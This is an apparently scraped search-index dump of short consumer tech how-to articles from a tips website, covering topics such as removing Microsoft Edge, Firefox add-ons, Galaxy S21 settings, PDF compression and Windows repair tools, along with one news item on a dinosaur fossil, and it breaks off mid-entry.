Tool Home\nStep 1: You proceed to visit the homepage to download the tools and extract them.\nStep 2: In the Microsoft Edge removal tool folder, right-click the Install_wim_tweak.exe file and select Run as administrator .\n  Step 3: Next, right-click on the Uninstall Edge.cmd file and select Run as administrator to proceed with deleting the Edge browser.\n  In this article, Tipsmake has shown you how to turn off, block, and delete Microsoft Edge browser on Windows. Have a nice day!\nMicrosoft Edge Microsoft Edge tips ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddqcKzuoyonZ9lkaOxbq7LqJqkZZ2esLO70qidrWWVmbSmecWrpqZloqq7r7XNoGSipl2ptaZ5wZqapJ%2BipMKvsA%3D%3D\n","link":"/post/steps-to-turn-off-and-block-microsoft-edge-from-running-in-the-background/","section":"post","tags":null,"title":"Steps to turn off and block Microsoft Edge from running in the background"},{"body":"Many bones suspected of being a dinosaur called the Moabosaurus Utahensis have been found to receive the interest of international archaeologists.\nThe issue of era as well as ancient dinosaur fossils has always been the subject of interest and discovery by archaeologists, researchers . and this is no longer a strange issue anymore.\nPreviously, archaeologists have found a series of archaeological evidence of dinosaurs, Juras ancient antiquities and a lot of excitement. In particular, especially dinosaurs with pure meat diet. And recently, many bones of a new herbivore about 125 million years old have just been discovered.\n  Specifically, scientists at Brigham Young University (BYU) in the US said the new dinosaur belongs to a group of known herbivores of the Sauropod family, including giant species like Brontosaurus and Brachiosaurus. They have long pillars and long necks and are officially named Moabosaurus Utahensis.\nMoabosaurus Utahensis was excavated and assembled, completely assembled. In it, Moabosaurus Utahensis is probably closely related to the dinosaurs found in Spain and Tanzania. This shows that there is a geographic subspecies relationship between European, African and North American dinosaurs.\nMoabosaurus was discovered in Utah, and at a time hundreds of millions of years ago, the area was flooded with large trees, abundant streams, lakes and many dinosaurs. A previous study showed that Moabosaurus as well as other dinosaurs died in a long, devastating drought. The surviving dinosaurs had torn the bodies of collapsed Moabosaurus dinosaurs, leaving their bare bones.\nAfter the drought ended, the streams overflowed to the ground, washed away the bones of the dinosaurs and they were buried until now. The researchers said. Meanwhile, ancient insects in the soil clung to the bones, leaving inside the bones the peculiar cavity holes.\nBrooks Britt from BYU said: \" We are very lucky to find this new discovery. Most of the bones we find are debris, so only a fraction of them are used for research. And that is why it took so long for us to put together a family of dinosaur family diagrams: we have to collect a huge amount of bone to have enough bases to do it. get that ' .\nncG1vNJzZmismaXArq3KnmWcp51krm59kW5kpqGcobawuoyynJqqXaS5pXnHnqmboaakv7DB0maboqafqK62voyhmKxlkpqyr3nDoqqcp6aav6aw\n","link":"/post/a-125-million-year-old-herbivorous-dinosaur-has-been-discovered/","section":"post","tags":null,"title":"A 125 million year old herbivorous dinosaur has been discovered"},{"body":"When downloading data to a computer on Firefox browser, to be able to view the download process, you must click on the download icon in the toolbar above the browser. However, with Google Chrome browser, just follow the download status bar at the bottom of the screen is done. The status bar will automatically appear as soon as we download the data on Chrome, without having to perform a check like in Firefox.\nIf you want to add a bar that displays the status of downloading data on Firefox, similar to that on Chome, you can install the WX Download Status Bar. This utility displays an additional data download status bar underneath the Firefox browser. So you can more conveniently view the speed and time to complete the download. Besides, when clicking on the file download process on Firefox in the status bar below, the utility will also provide some options to customize the file while downloading the data. The following article of Network Administrator will show you how to put the download status bar into Firefox using WX Download Status Bar.\nHow to enable download acceleration on Chrome 4 steps to change the default Download folder on Firefox Firefox 57 Quantum is here, great Mozilla! How to bring the Chrome download bar to Firefox Step 1:\nPlease visit the link below to access the WX Download Status Bar download page. In this interface, click the Add to Firefox button.\nDownload the WX Download Status Bar utility   Step 2:\nNext you wait for the process to download the utility to the browser and then click the Add button to proceed with the installation for Firefox.\n  Step 3:\nNow try downloading any file in the Firefox browser and will see the download status bar displayed at the bottom of the screen as shown below.\n  Step 4:\nWhen hovering over the file download process, the pop-up appears and we will be provided with some information about the data being downloaded, the name and format, the data download URL, load time, load capacity, and so on. . If the file is downloaded, you can preview the image of the downloaded file.\n  Step 5:\nRight clicking on the download file will have several options. To pause the download, press Pause Download .\n  To resume the download process, press Resume Download .\n  When the download process has completed and is notified Complete, right-click on the download file and select Show in explorer to open the file storage folder. If you want to delete the list of downloaded files, click Clear or Clear Download the file.\n  Step 6:\nThe WX Download Status Bar utility will provide a utility to edit the utility with some settings. At the download bar, click on the gear icon .\n  Switch to the installation interface for the utility. Here the Appearance section will have a number of options including changing the download bar color, turning on and off the loading progress bar, allowing you to always display the download bar, only loading in a single row.\n  Step 7:\nContinued at Auto Hiding , we can set up the utility to automatically hide the downloaded file after the optional time with various formats.\nSelect Auto Hide Completed Downloads and then select the time in the Hide after . section. Below you can select the file formats available in the list, or you can enter some more formats in the bar below.\n  Step 8:\nContinue if you want to have a notification sound when downloading the data in the browser and select Play a sound when a download completes , then upload the audio file up to 1MB from the computer.\n  With the WX Download Status Bar utility in Firefox, users can easily control the process of downloading data on the browser, using the status bar directly below similar to Chrome. You will not need to click directly on the download icon to view it as before.\nSee more:\nHow to save bookmarks on Firefox to your computer? How to install the Chrome utility for Firefox The easiest way to speed up Firefox I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqinruoecOorqekn5axbr%2FTmquuq12XrrN5zqdknKCipLqmecinq6hllp6%2FprLOsQ%3D%3D\n","link":"/post/how-to-bring-download-status-bar-on-chrome-into-firefox/","section":"post","tags":null,"title":"How to bring download status bar on Chrome into Firefox"},{"body":"Devices using the Android operating system, when downloading applications on CH Play (Google Play Store), they must have a Google Play account. As we all know, all Google services can use your Gmail account to login, if you want to use a separate account to log into the Google Play Store, it is still possible! In this article, Software Tips will guide you how to create a Google Play account on your computer.\nStep 1: First, you proceed to the Google Play homepage to create an account.\nHomepage: https://play.google.com/\nStep 2: At the home page of Google Play, select Sign In to login.\n  Step 3: When the window switches to the login page, you select Create account and choose the account type for myself or To manage my business .\n  Step 4: Next, enter the personal information related to your Google Play account and click Continue to create.\n  Step 5: After creating your account, Google will ask you to accept terms related to privacy and security. You pull down the final select Approved to complete.\n  Step 6: So you have finished creating a Google Play account on your computer, after creating it, the system will automatically log in for you.\n  In this article, Software Tips showed you how to create a Google Play account on your computer quickly and accurately. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKCnn5y5pnnPpZiyZZGYsLDBza1kqKZdrry2voycpqaopamysw%3D%3D\n","link":"/post/how-to-create-a-google-play-account-on-your-computer/","section":"post","tags":null,"title":"How to create a Google Play account on your computer"},{"body":"One of the super products even though it has been released for a long time, still attracts me a huge fan base that is League of Legends game LOL. Therefore, the applications with the direction of the game LOL are supported by many people, especially the loyal fan volume of the game super product. One of them is online photo editing application Ephoto 360. Application supports users can choose to create themed game LOL images and some other games like Overwatch, Raid.\nIn the following article, we will guide you how to create a cover game LOL image according to the names of each of the famous generals in the game like Shen, Leesin, or Master Yi, . Choose for yourself a real image Appreciate and start creating artwork with Network Administration by Ephoto 360 online.\nStep 1: First of all, we will visit the homepage of Ephoto 360 according to the link below:\nEphoto 360 create online images At the homepage, you will see Ephoto 360 providing users with many different image creation topics. We look to Create cover by name and generals in LOL .\n  Step 2: Next, you'll see the app provides nearly 120 familiar generals in the LOL game. We can look at the sample cover images of each general when clicking on View below each thumbnail.\n  Step 3: When you have applied to the general cover image, please click on the name of the general . Then below we will enter any text we want to add in the cover image . Finally click Create image below.\n  Step 4: The complete cover photo will look like the image below. If you are not happy with this cover image, then click Recreate to create a completely new cover image. Ephoto 360 also supports users to download photos to the device when pressing Download .\n  In case you want to share the results of creating this unique LOL game cover image, you can press the Share button to share with your Facebook friends.\n  So we have finished creating the cover image with the names of the generals in the LOL game. Please try yourself many cover photos of different generals, then use as Facebook cover photos or in other gaming forums.\nRefer to the following articles: How to combine photos into the League of Legends game rating frame Free online photo editing services should not be missed! How to fix photos in GTA game style with iToon ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYycpq%2BdomK9qbvTqKpmp5ZitKa6xKuYpatdnrtuwMeeZKWdkZzCpnnOn2SlnZeau6W%2FjKCYpp0%3D\n","link":"/post/how-to-create-cover-photos-of-generals-in-the-league-of-legends-game/","section":"post","tags":null,"title":"How to create cover photos of generals in the League of Legends game"},{"body":"Owning a USB device with the installation of many different versions of Windows will be very convenient when you can choose the right version for different computer configurations. This feature is especially useful for technical staff in charge of informatics. But how to create this USB is not everyone knows. Please refer to the instructions below of TipsMake.com.\nNote: Before creating a Windows AIO installer, please download Windows iso files to your computer first, but do not need to download them all, just use the original version. At the same time, download the WinAIO Maker Professsional software, this is a software of Portable type so when downloading, we can use it without installation.\nStep 1: From the main interface of the software, click AutoAIO   Step 2: Next, select the following   1: Select the directory containing the AIO file 2.3: Navigate to the ISO files you want to create Then press Start Compilation .\nYou wait a moment for the AIO file creation process to complete and then you will have an AIO file containing the Windows installers you need.\nInstructions to create USB installation, boot Windows with Windows 7 USB Download Tool How to create USB Boot, USB install Windows by Rufus Hiren's USB creation guide is quick Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYywoKecn6zAbq3LpWSipl2ku6Z5yKeqrZmcobKz\n","link":"/post/how-to-create-windows-all-in-one-installer/","section":"post","tags":null,"title":"How to create Windows All In One installer?"},{"body":"You don't always have a damaged memory dump file, which is very rare. The reason is simply because this condition makes your PC virtually unusable and that's why it's called the blue screen of death error.\nAnother reason why memory dump files are damaged is not very common, such as when you have a virtual machine operating in a cluster environment on a Windows Server 2012 or Windows Server 2008 R2 platform, or because the option to monitor the virtual machine's heartbeat index is enabled.\nHere's how to fix a corrupted memory dump file\n1. Use specialized repair software To fix corrupted memory dump file, the best way is to use specialized BSOD repair software. Manually fixing BSODs can be difficult, but there are specialized tools that can help.\n  Restoro with its online database features the latest feature-rich system files for Windows 10 PCs, allowing you to easily replace any element that might be causing the BSoD error.\nThe software can also help you out by creating a restore point before repair starts, allowing you to easily restore a previous version of your system if something goes wrong.\nHere's how you can fix registry errors using Restoro:\nDownload and install Restoro here. Run the application. Wait for the software to identify stability issues and potentially corrupt files. Click Start Repair. Restart your PC for all changes to take effect. As soon as the repair is complete, your PC should be working with no problems. You won't have to worry about BSoD errors or slow response times anymore.\n2. Change settings via GUI   First open Failover Cluster Manager and click Roles. Search for virtual machine resources and click on Resources. In the Resources tab , right-click on the virtual machine. Click Properties and select Settings . There in Heartbeat Setting , uncheck the checkbox Enable automatic recovery for application health monitoring . Similarly, uncheck the checkbox Enable heartbeat monitoring for the virtual machine , then click OK for the settings to take effect. This will help prevent corrupt memory dump files from being created on Windows. However, this is not the best long-term solution.\n3. Change settings via Windows PowerShell Start Windows PowerShell as administrator . Enter the Windows PowerShell command\u0026nbsp; : Get-ClusterResource Next, enter the following command to check whether the two options\u0026nbsp; Enable heartbeat monitoring for the virtual machine \u0026nbsp;and \u0026nbsp;Enable automatic recovery for application health monitoring \u0026nbsp;are enabled: Get-ClusterResource VirtualMachineName | Get-ClusterParameter CheckHeartbeat Enter the following Windows PowerShell command to set the CheckHeartbeat value\u0026nbsp; \u0026nbsp;to\u0026nbsp; 0 : Get-ClusterResource VirtualMachineName | Set-ClusterParameter CheckHeartbeat 0 However, in case you want to cancel the\u0026nbsp; Enable automatic recovery for application health monitoring option , run the following Windows PowerShell command: (Get-ClusterResource Object).EmbeddedFailureAction = 1 Exit Windows PowerShell and restart your PC. By following the steps mentioned above, you should be able to get rid of any corrupted memory dump files that could affect the system.\nHope you are succesful.\nMemory dump file dump file ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqku9GrrKmslZl6rrHMqKmyZZSqurF5xaKjng%3D%3D\n","link":"/post/how-to-fix-corrupted-memory-dump-file/","section":"post","tags":null,"title":"How to fix corrupted memory dump file"},{"body":"PDF is currently the most commonly used document because of its high security and can display data such as text, images, maps . or even a book or novel. hundred pages. With such large PDFs, it will be difficult when they are sent via email or uploaded online. To solve that problem, this article TipsMake.com will guide you some ways to compress and reduce the size of PDF files effectively. Please follow along.\n1. Compress the PDF file with Free PDF Compressor software Free PDF Compressor \u0026nbsp;is a very fast PDF file compression software, suitable for those who often need to compress files. The advantage of this software is that it is lightweight and easy to use interface, it can reduce the file size down from 40 to 60% compared to the original file.\nYou can download and install the Free PDF Compressor software here:\nhttp://www.freepdfcompressor.com/\nStep 1: After downloading and installing the application, run the application. In the PDF File section, click\u0026nbsp; Browse \u0026nbsp;to select the PDF file to be compressed. In the Output File section, click\u0026nbsp; Save As \u0026nbsp;to select the folder to save the PDF file after compression. If you leave it alone, the compressed file will be in the same folder as the original PDF file.\nNext in the Settings section you choose one of the following image compression criteria:\nScreen : Low resolution, low quality, 72dpi image resolution. eBook : Medium resolution, low quality, 150dpi image resolution. Printer : High quality, 300dpi image resolution. Prepress : High resolution, color stays the same, 300dpi photo resolution. Default : Widely used, large output file size. The more the capacity decreases, the lower the quality, you choose so that reasonable.\n  Step 2 : After selecting you press Compress to conduct file compression, after successful compression will have the message as shown below:\n  Open the folder containing the compressed file, we can see the compressed file size is significantly reduced.\n  2. Compress the PDF file with SmallPDF online tool With this tool we can compress PDF files quickly and conveniently without installing additional software on the computer, but requires your computer to have an internet connection.\nTo compress the PDF file online, please access the following link:\nhttps://smallpdf.com/en/compress-pdf\nStep 1 : After accessing the link, at the interface of the website, click\u0026nbsp; Select file \u0026nbsp;or drag and drop the PDF file from your folder into the red frame to upload the compressed PDF file from your computer to the website.\n  Step 2: Wait a while for the file to be uploaded and automatically compressed, fast or slow depending on the network speed and the size of your file.\n  After compressing the file successfully, there will be notice how much the PDF file will be reduced. You can click Download files now to download to your computer or you can also save to Dropbox or Google Drive.\n  You can see the PDF file is being reduced significantly from 16Mb to 10Mb.\n  In addition to SmallPDF online tool, you can use some other online tools such as ilovepdf.com, pdfio.co . etc. Usage is similar to SmallPDF.\nAbove is an article on how to reduce the size of PDF files, compress PDF files. Hope you will find the article useful. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmcKksYytn55lo57HpnnOn2SpnJZis6q4xKxknp6WmrC1tdWeo7I%3D\n","link":"/post/how-to-reduce-the-size-of-pdf-files-effectively/","section":"post","tags":null,"title":"How to reduce the size of PDF files effectively"},{"body":"If you accidentally delete very important data or mistakenly format the drive during the operating system installation . don't worry, there are many software built to help users recover data. deleted. Among these, iCare Data Recovery software is known for its very high efficiency. To be able to use iCare Data Recovery to recover lost data, you can follow these steps:\nStep 1: Click here to Download the latest version of iCare Data Recovery software on the computer. Then proceed with the normal installation through simple operations.\nStep 2: Turn on the program, the interface appears as shown below.\n  Step 3: At the main interface, there are 4 options to recover data as follows:\n- Lost Partition Recovery (recover data 1 deleted partition).\n- Advanced Files Recovery (recover any deleted data).\n- Deep Scan Recovery (enhance finding and recovering data by deep scan).\n- Format Recovery (recover data in a formatted partition).\nIn the framework of this article, I will guide you to recover any deleted data. In the main window of the software, click Advanced Files Recovery .\n  Step 4: Select the drive / partition containing the deleted file and then click Recover to proceed with the recovery.\n  Now the program will automatically scan the deleted file and then restore it. The process takes place quickly or slowly depending on the size of the hard drive and the number of files scanned.\n  Step 5: After completing, the files that have been deleted before will appear, now click on the file you need to recover and then click Save Files .\n  Step 6: Select the folder where the files to be restored are stored and then click OK to save them. Note : Select a drive other than the one where the file was deleted or the file will be overwritten and lost.\n  Thus, the data recovery process has been completed by iCare Data Recovery software . Now you can retrieve data in a simpler way already.\nncG1vNJzZmismaXArq3KnmWcp51kv6avzq%2Bcq2WcpMC1ecOaq5plp57BqXnInJirnV2ZrrWtjKucnKemmr%2B6edKona2vkaey\n","link":"/post/recover-lost-data-with-icare-data-recovery-software/","section":"post","tags":null,"title":"Recover lost data with iCare Data Recovery software"},{"body":"Wooden table for customers to experience products, shops selling specific devices such as iPhone, iPad, iPod, Mac computers. Those are the recognizable characteristics of an \"Apple\" shop in Saigon.\n  Shops specializing in selling Mac items are increasing in HCMC. (Photo: Quoc Huy) .\nRunning along the big streets like Nam Ky Khoi Nghia, Road 3/2, Vo Van Tan . it can be seen that the shops affixed the Apple logo on the streets of Saigon, especially, concentrated in the areas centers of districts 1, 3 and 10.\nThe Apple-style stores appeared from Vietnam about 4 years ago, but especially expanded from the time when the trend of using \"Mac goods \" appeared more. iPhone, iPad and MacBook computers are the main characters in this movement.\nQuang Hung, managing a store on 3/2 street, said that building a specialized point of selling Apple products with its layout is quite simple. The store owner easily asks for its certificate through channels in Australia and Hong Kong.\nAccording to Hai Linh, an Apple gamer, there are no Apple Store-sized stores like China, the US or Europe . there are mostly small shops like Store Corner and iStore.\"If Apple clearly sets the table, size, color, then in Vietnam, many points are said to be still quite confusing for the iStore, only a few have a good design.\"\n  There are many different models of Apple sales, spontaneous and official. (Photo: Quoc Huy) .\nAlso according to Mr. Linh, the Apple Store overseas is considered a \"cathedral\" for Mac players, not only a selling point, \"Apple\" also builds as a unique art work.\nMeanwhile, Mr. Hung said that most of the shops appearing in Ho Chi Minh City appear spontaneously, like the iStore, Apple Store, but most of them sell portable products. The official number of licensed and sold stores by Apple in Saigon only counts on the fingertips.\nAccording to Ms. Hanh, FPT's iStore manager at Vincom (Le Thanh Ton, District 1), the purchase of products in official iStore, users enjoy the benefits of better warranty, besides the guaranteed and in-stock goods. When outside selling points are often warranted as a store.\nOther shippers all agree that genuine iStore sellers still sell their products on the Apple route, so hot products such as iPad 2 and iPhone 4 are still unable to go on sale, while points of sale This product has appeared soon.\n\u0026gt;\u0026gt; Below is a picture of an iStore model following Apple standard in Saigon\nApple iStore Premium model\n  iStore at Vincom is considered one of the largest genuine Apple selling points in Saigon.   The layouts are similar to the Apple selling points, tables and chairs are imported.   MacBook laptops are products that are officially sold in Vietnam.   The trend of becoming a follower of Apple in Vietnam has developed strongly in recent years.   MacBooks are early devices with new products.   Meanwhile, iPad tablet computers at genuine selling points are new generation first.     Accessories for iPad.   iPhone and iPod music player.   Accessories for iPhone.   iMac, Apple's powerful desktop line.       The Apple Store model is expanding in Ho Chi Minh City.\nncG1vNJzZmismaXArq3KnmWcp51kwKLCxGaroZ1dlr2xuMRmqq2nopp6qrqMrJiin5%2Bj\n","link":"/post/save-the-apple-store-in-saigon/","section":"post","tags":null,"title":"Save the Apple Store in Saigon"},{"body":"Skitch is a free software provided by Evernote. You can take screenshots, create images as guide images with instruction arrows, add text, crop images, blur .\n  You follow the article below to learn how to use the functions of Skitch to make detailed instructions.\nStep 1: Download the Skitch software at: https://evernote.com/skitch/, then install it on the system.\nStep 2: Run the Skitch program, the main interface when running the program:\n  Step 3: \n- If the image you need to make as a guide already exists, select the down arrow icon next to the word Screen snap -\u0026gt; Open a file and then select the image you want to edit.\n  - If you want to capture full screen computer you select the down arrow and select Fullscreen , full screen will be captured and displayed on the program.\n  - You can also capture part of the screen by selecting Screen Snap . Which program, software, or image you want to capture, you need to have it displayed on the top of your computer screen.\n  A mouse cursor appears + you hold down the mouse to the first position you want to capture.\n  Then drag to the end of the shot, the selected location will be brighter than the other locations.\n  After you release the mouse button, the image will be displayed on the Skitch program.\n  Step 4: Once you have the image, to add the arrow icon ( Arrow Tool ), select the arrow on the left side then place the mouse on the position to place the arrow and drag, the arrow length as you like.\n  You can press Ctrl + Z to return to the previous step (or the left arrow icon on the interface).\nStep 5: Add instruction words to the image.\nSelect the symbol a ( Text Tool ), then click on the position to insert text and enter text. When you finish typing you click out anywhere in the image, so the text has been inserted.\n  Step 6: To draw a shape, click the rectangle icon ( Shape Tools ) under the letter a and drag the mouse to draw the shape. To select other shapes, select the bottom right corner of the rectangle icon and then choose the shape you want.\n  For example, select and draw the following image:\n  Step 7: If you need to draw with a pen, you select the pen icon ( Pen Tools ) and will enter the guide image.\n  Step 8: To blur a part of the image, select the Pixelate tool icon as shown below, then select the area to be blurred.\n  Step 9: To crop the image, select the square icon with 2 + signs in the corner ( Crop and resize tools ), appear a frame in the image you edited by dragging the corners of the frame so that when agreeable.\n  Once completed click Apply .\nStep 10: To change the color of text, borders, arrows . you select the color icon ( Colors and tool sizes ).\n  Then choose the color you want.\n  At this time when you draw shapes, write words, arrows . will be the color you choose.\n- You can choose more tools when selecting Tools on the menu bar, or a combination of shortcuts for each tool.\n  Step 11: Save the image.\nSelect Skitch -\u0026gt; Save as image or press Ctrl + Shift + S to save the image to the location you want to save.\n  So, you already know how to use Skitch software as a guide. The article details most of the tools of Skitch software to help you complete a tutorial image, you just need to use it a few times, the operation will be faster. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwKy105yfZqyYmnqjsdKtZJ%2BqlZp6sbTOraZmpZGgtq%2BzjKymn6ynlr%2Bm\n","link":"/post/the-best-free-photo-making-software/","section":"post","tags":null,"title":"The best free photo making software"},{"body":"Text messaging is a favorite communication tool of many and undeniable, WhatsApp brings great benefits to such users. Besides, WhatsApp also plays a role with users who want to send small notes to colleagues, friends, family members and others.\nBut one thing that is quite popular among other messaging platforms that WhatsApp lacks is the option to send a sticker. Sticker is quite a popular thing on Facebook Messenger, Facebook comments and other places. But now you can even send and receive stickers via WhatsApp.\nNot long ago WhatsApp released an update that allows users to send and receive stickers. What's even more interesting is that this update adds the ability to create and send your own custom sticker to faces, pets, family members or photos of any other object that you find useful. You can even take multiple photos of yourself under different moods, create sticker packs for WhatsApp and share them in context. The opportunity to use these stickers is endless. But the first task is to create a custom sticker. This task is quite easy and you only need one application to start creating a sticker. Find out how to create customized WhatsApp sticker with TipsMake.com via the following article!\nHow to create personalized WhatsApp sticker Step 1 : Access Google Play Store and download Vico \u0026amp; Co's Sticker Maker application to get started.\n  Step 2 : Open the application and click on the option to create Create a new sticker-pack .\n  Step 3 : Now, you will have to enter the name and author of the sticker package, then click on CREATE. The name of the sticker package and the author must be 30 characters or longer.\n  Step 4 : After the sticker package is created, click on the name of the sticker package to add a sticker to it.\n  Step 5 : Now in a sticker pack, you can add no more than 30 stickers. Just click 1, 2 or any other number to add a sticker.\n  Step 6 : There are 3 options to add a sticker. You can take photos with the help of the camera, select an image from the library or select an image file with a transparent background.\n  You should choose one of the first two options because the options to make the transparent background image quite limited. Preferably directly add PNG images with a transparent background. To learn how to make the photo background transparent, you can read the tutorial: How to simply delete the photo wallpaper.\nStep 7 : When clicking Select File, you will have to select the PNG image, draw a contour around it and click Yes, Save Sticker . You can even rotate images, change and perform other activities on the image to suit your needs.\n  Repeat the same steps for other stickers.\nStep 8 : When you're done adding all the stickers, click on Add to WhatsApp . You can add up to 30 stickers and make sure there are at least 3 stickers in a package on WhatsApp.\n  Step 9 : You will have to confirm the process of adding the sticker package by clicking Add.\n  \nStep 10 : Now you can open any WhatsApp conversation and find WhatsApp sticker pack created by you in the sticker list.\n  Step 11 : Just click on any sticker to send them immediately.\nThis is really an interesting feature available on WhatsApp. You can have multiple sticker packs for WhatsApp customized to meet your own needs.\nAll operations completed. Hope this guide is useful for you and will make your WhatsApp messaging more interesting.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ6YrKGVqMFuw8CyZK2nXZi%2Fpq3TnmSwoJGpwKK8z2aqraGToLKz\n","link":"/post/the-easiest-way-to-create-whatsapp-sticker/","section":"post","tags":null,"title":"The easiest way to create WhatsApp sticker"},{"body":"If this is the first Galaxy smartphone, you can discover a lot of useful aspects of this device, and the One UI 3.0 features have greatly improved the user experience. In the article below, TipsMake will introduce to you 10 tips for using Galaxy S21 that not everyone knows.\n1. Watch Youtube Premium for free Samsung and Google provide Galaxy S21 users with 4 months of free use of Youtube Premium. This offer is only available on Samsung Galaxy S21 series including S21, S21 Plus or S21 Ultra.\n  This offer works only for those who have never subscribed to Youtube Premium or have just registered for the service within the last 18 months.\nTo register for free use, open the Youtube application on Galaxy S21 phone to receive the offer.\n2. Turn off phone S21 with side button Turning off the Galaxy S21 is not as simple as holding down the edge button like on other phones. Instead, Samsung has labeled this action a Bixby calling feature. To power off Galaxy S21, you have to press and hold the side button and volume button simultaneously for a few seconds. The power menu will appear and you can power off your device.\nAlternatively, you can reassign the Bixby button operation to bring up the power menu while holding down.\nStep 1. Open Settings\u0026gt; Advanced features (Advanced featuré)\u0026gt; Button next to (Side key).\nStep 2. From the Press and hold (Press and hold), select the Power menu (Power off menu).\n3. Change to Navigation Gestures. The Galaxy S21 still has a navigation bar in the bottom corner even though it's running Android 11 and One UI 3.1. However, you can switch to more flexible navigation gestures to enhance the experience.\nStep 1. Go to Settings\u0026gt; Display\u0026gt; Navigation bar.\nStep 2. Click on the option Swipe getsures to activate the navigation actions.\n  The navigation operations on the Galaxy S21 also work like on the iPhone, they are great support for one-handed use once you get used to the device.\nAccess the home screen by swiping up from the bottom of the screen. To see Recent Apps, swipe up from the bottom of the screen and hold down on the screen a little. To go back, swipe from the left or right edge of the screen. 4. Buy phone charger Samsung has not included a charger for the Galaxy S21 series for some environmental reasons. The debate about whether or not to give up the charger is still going on, but for now, you still have to buy a charger if you don't have a charger for your Galaxy S21.\nYou must use a charger that supports USB-C PD PPS 3.0 protocol. This is a fairly new protocol for some USB-C chargers on the market today.\nThe Galaxy S21 series also supports fast wireless charging up to 15W, so you can buy a wireless charger for use. However, it should be noted that the S21's wireless charging speed is slower than wired charging.\n5. Change the system font One UI 3.1 has the option to change the system font style and size. Please follow the steps below:\nStep 1. On Galaxy S21, go to Settings\u0026gt; Display\u0026gt; Font size and style.\nStep 2. Click on Font style to change the system font. By default, only two SamsungOne and Gothic Bold fonts are pre-installed. Choose the font you want.\nStep 3. You can download more fonts by clicking the Download fonts option, you will be taken to Galaxy Store.\n  6. Activate the Google Discover page One small but also very important change of One UI 3.1 on the Galaxy S21 is the ability to install Google Discover as the outermost home screen. This is a lot more impressive than the Flipboard page that Samsung used on previous versions of One UI.\nYou can activate the Google Discover page on the Galaxy S21 by clicking on the main screen, swiping to the leftmost page and selecting Google Discovery from the list.\n7. Adjust the screen to always display (Always On Display) Like previous flagship Galaxy devices, the Galaxy S21 series also features Always On Display. While the initial implementation of the Always On Display on a Galaxy phone was pretty basic, that's no longer true. You can customize the Galaxy S21's Always On Display to your liking, including changing the clock style, the color of the watch, etc.\n  To adjust the Always On screen on Galaxy S21, go to Settings\u0026gt; Lock screen\u0026gt; Always On Display. From here, you can choose which information will show up on the standby screen or only show for about 10 seconds whenever the screen is touched. You can also set a schedule when the feature is turned on automatically.\n8. Larger text, the screen can hold more content The Screen Zoom feature on the Galaxy S21 series allows you to increase or decrease the amount of content displayed on the screen at any time. This feature is enabled in Settings\u0026gt; Display\u0026gt; Screen zoom.\n  If you want to increase the density of information displayed on the Galaxy S21 screen, set the screen Zoom to the lowest level. If you want the size of the elements on the screen to be larger for clear reading, move the slider to the right.\n9. Activate gestures The Galaxy S21 has a lot of useful gestures, but it's turned off by default for a couple of reasons.\nGo to Settings\u0026gt; Gestures and gestures (Motions and Gestures) and enable the two features Lift to Wake and Double tap to turn on / off the screen (Double tap to turn on screen / off screen). Every time you pick up the phone, the display will automatically light up, letting you see the time and date and unread notifications.\n10. Customize with Good Lock app Samsung's Good Lock app has a ton of modules that let you adjust almost every aspect of your device, from the home screen layout to the individual app's de-powering sound.\n  Here are the modules of Good Lock used to download and their features:\nLockStar: Create a new lock wallpaper. QuickStar: Adjust the Quick Settings page by hiding system icons, changing the watch's position, . Clockface: Create a clock style for Always On Display. MultiStar: Improve multitasking experience by enabling gestures for pop-up viewing, multi-window viewing for all applications, . NavStar: Edit the navigation bar using different icons and add multiple shortcuts. Home Up: Change the home screen layout and size of icons, folders and sharing menus. NotiStar: A notification management service that allows you to filter notifications based on keywords in the app. ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZqyZpcBuxc6uZJyZnmKxsHnOp2SsmZ2owq%2BzjKCYpZmornq0fpA%3D\n","link":"/post/top-10-tips-you-can-do-on-samsung-galaxy-s21/","section":"post","tags":null,"title":"Top 10 tips you can do on Samsung Galaxy S21"},{"body":"Computer error is something we all do not want. If your computer is in trouble, the following tools will help you fix Windows errors.\n  Here are Top 5 software, Windows 10 error correction tools on the computer selected by TipsMake.com. Please refer and use it!\n1. Windows Repair   The default Windows Repair tool can help us in the event of an emergency. With Windows Repair, we can fix some errors related to Registry, files in Windows system . However, this tool only appears when your computer is corrupted or we have to use USB containing Windows installer. to launch this tool.\n  Software Repair Tool allows us to check for basic errors arising on the system such as 100% Disk error, dll files, crashes . This tool is suitable for general users who do not have much knowledge about software. , repair and this tool is released by Microsoft so you can be assured of the safety of this tool!\nLink to download Software Repair Tool https://www.microsoft.com/en-us/p/software-repair-tool/9p6vk40286pq?activetab=pivot:overviewtab\n3. FixWin   FixWin is a Windows repair tool for non-professional users with features and utilities for checking system errors and registry on Windows. FixWin has options for users to check and correct errors by listing common errors and making requests for users to choose and fix errors on Windows thoroughly.\nLink to download FixWin software here https://www.thewindowsclub.com/downloads/FixWin10.zip\n4. Windows Troubleshoot   Windows 10 version is favored by Microsoft and integrates a lot of good and useful features, including the feature to find and fix errors called Troubleshoot. Here, we can search for problems on Windows 10 such as network problems, audio errors, peripherals . according to the list that Microsoft lists. To open this tool, go to Start menu =\u0026gt; Settings =\u0026gt; Update \u0026amp; Security =\u0026gt; Troubleshoot .\n  5. iObit Driver Booster   Sometimes drivers on your computer are inconsistent and your computer has some hardware related errors such as driver drivers, peripherals (mice, keyboards). With Driver Booster, we can fix and update drivers of hardware, peripherals quickly and conveniently.\nDriver Booster download link here: https://www.iobit.com/en/driver-booster.php\nWith the top 5 software and debugging tools introduced in the article, we can fix errors on Windows 10 quickly. How often do you fix errors on Windows 10? Please share that for TipsMake and other readers to refer to in the comments at the end of the article!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5krKeWqcSivsRmrqKmlKTEtHmQaWSeqqKkv26vzqupnpuknryvedOopqVlpKSxosU%3D\n","link":"/post/top-5-software-windows-10-error-correction-tool-today/","section":"post","tags":null,"title":"Top 5 